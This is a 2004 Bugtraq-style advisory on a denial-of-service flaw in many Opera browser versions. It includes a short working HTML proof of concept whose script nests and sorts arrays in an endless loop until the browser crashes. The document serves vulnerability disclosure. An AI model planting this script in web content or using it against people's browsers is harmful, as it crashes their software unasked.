Opera Web Browser Infinite Array Sort Denial Of Service Vulnerability

Bugtraq ID:	11762
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 25 2004 12:00AM
Updated:	Nov 25 2004 12:00AM
Credit:	Discovery of the original issue is credited to Berend-Jan Wever. Marco Mella is credited with the discovery of the issue in the Opera browser.
Vulnerable:	Opera Software Opera Web Browser 7.54 Opera Software Opera Web Browser 7.53 Opera Software Opera Web Browser 7.52 Opera Software Opera Web Browser 7.51 Opera Software Opera Web Browser 7.50 Opera Software Opera Web Browser 7.23 Opera Software Opera Web Browser 7.22 Opera Software Opera Web Browser 7.21 Opera Software Opera Web Browser 7.20 Beta 1 build 2981 Opera Software Opera Web Browser 7.20 Opera Software Opera Web Browser 7.11 j Opera Software Opera Web Browser 7.11 b Opera Software Opera Web Browser 7.11 Opera Software Opera Web Browser 7.10 Opera Software Opera Web Browser 7.0 win32 Beta 2 Opera Software Opera Web Browser 7.0 win32 Beta 1 Opera Software Opera Web Browser 7.0 win32 Opera Software Opera Web Browser 7.0 3win32 Opera Software Opera Web Browser 7.0 2win32 Opera Software Opera Web Browser 7.0 1win32 Opera Software Opera Web Browser 6.10 linux Opera Software Opera Web Browser 6.0.5 win32 Opera Software Opera Web Browser 6.0.4 win32 Opera Software Opera Web Browser 6.0.3 win32 Opera Software Opera Web Browser 6.0.3 linux Opera Software Opera Web Browser 6.0.2 win32 Opera Software Opera Web Browser 6.0.2 linux Opera Software Opera Web Browser 6.0.1 win32 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Server - Microsoft Windows 95 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows ME - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home - Microsoft Windows XP Home - Microsoft Windows XP Professional - Microsoft Windows XP Professional Opera Software Opera Web Browser 6.0.1 linux Opera Software Opera Web Browser 6.0.1 Opera Software Opera Web Browser 6.0 win32 Opera Software Opera Web Browser 6.0 6 Opera Software Opera Web Browser 6.0 .6win32 Opera Software Opera Web Browser 6.0 Opera Software Opera Web Browser 5.12 win32 - Microsoft Windows 2000 Professional SP3 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 95 - Microsoft Windows 98 SP1 - Microsoft Windows 98 - Microsoft Windows 98SE - Microsoft Windows ME - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Opera Software Opera Web Browser 5.12 Opera Software Opera Web Browser 5.1 1 win32 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 Opera Software Opera Web Browser 5.1 0 win32 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 Opera Software Opera Web Browser 5.0 Linux Opera Software Opera Web Browser 5.0 2 win32 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 Opera Software Opera Web Browser 5.0 Mac
Not Vulnerable:

Opera Web Browser Infinite Array Sort Denial Of Service Vulnerability

The Opera Web browser is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

Opera Web Browser Infinite Array Sort Denial Of Service Vulnerability

The following example will cause the browser to crash:

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>

Opera Web Browser Infinite Array Sort Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Opera Web Browser Infinite Array Sort Denial Of Service Vulnerability

References:

• Opera Web Browser Home Page (Opera Software)
  
• FIREFOX flaws: nested array sort() loop Stack overflow exception ("Berend-Jan Wever" )